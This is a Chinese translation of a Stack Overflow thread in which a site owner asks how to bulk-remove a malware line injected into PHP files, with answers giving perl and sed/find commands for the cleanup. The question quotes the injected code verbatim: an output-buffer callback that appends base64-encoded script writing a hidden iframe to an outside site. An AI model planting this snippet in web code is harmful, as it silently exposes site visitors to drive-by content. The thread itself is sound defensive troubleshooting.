我正在尝试对所有.php文件进行批量搜索并替换以下字符串,以便清除恶意软件:
<?php ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD5kb2N1bWVudC53cml0ZSgnPHN0eWxlPi52Yl9zdHlsZV9mb3J1bSB7ZmlsdGVyOiBhbHBoYShvcGFjaXR5PTApO29wYWNpdHk6IDAuMDt3aWR0aDogMjAwcHg7aGVpZ2h0OiAxNTBweDt9PC9zdHlsZT48ZGl2IGNsYXNzPSJ2Yl9zdHlsZV9mb3J1bSI+PGlmcmFtZSBoZWlnaHQ9IjE1MCIgd2lkdGg9IjIwMCIgc3JjPSJodHRwOi8vd3d3Lml3cy1sZWlwemlnLmRlL2NvbnRhY3RzLnBocCI+PC9pZnJhbWU+PC9kaXY+Jyk7PC9zY3JpcHQ+');}我可以通过sed '/buffer.base64_decode/d' file.php删除整行。但是,我仍然需要打开的<?php
因此,真正需要做的是为<?php搜索和替换buffer.base64_decode,在这台邪恶的计算机前度过了漫长的一天后,我的大脑里全是土豆泥。
或者,也许我把自己想成了一个小盒子,而这一切都错了?
发布于 2012-10-24 09:17:11
perl -pe 's/<\?php ob_start\("security_update"\);.*?\?>//gsm; s/<\?php ob_start\("security_update"\);.*/<?php/g;' test.php
发布于 2012-10-24 14:26:36
您不是简单地更改它,而不是删除行吗?下面是如何使用GNU sed
sed -i '/buffer.base64_decode/c \<?php ' file.php现在,对于工作目录中的所有文件:
find . -type f -name "*.php" -exec sed -i '/buffer.base64_decode/c \<?php ' {} \;https://stackoverflow.com/questions/13041537
复制相似问题